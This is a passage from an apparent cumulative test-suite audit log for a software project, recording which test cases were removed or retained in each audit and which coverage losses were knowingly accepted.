signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous oracle (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous oracle (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous oracle (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous oracle (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous oracle (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous oracle (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous oracle (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous oracle (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Previous oracle (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. 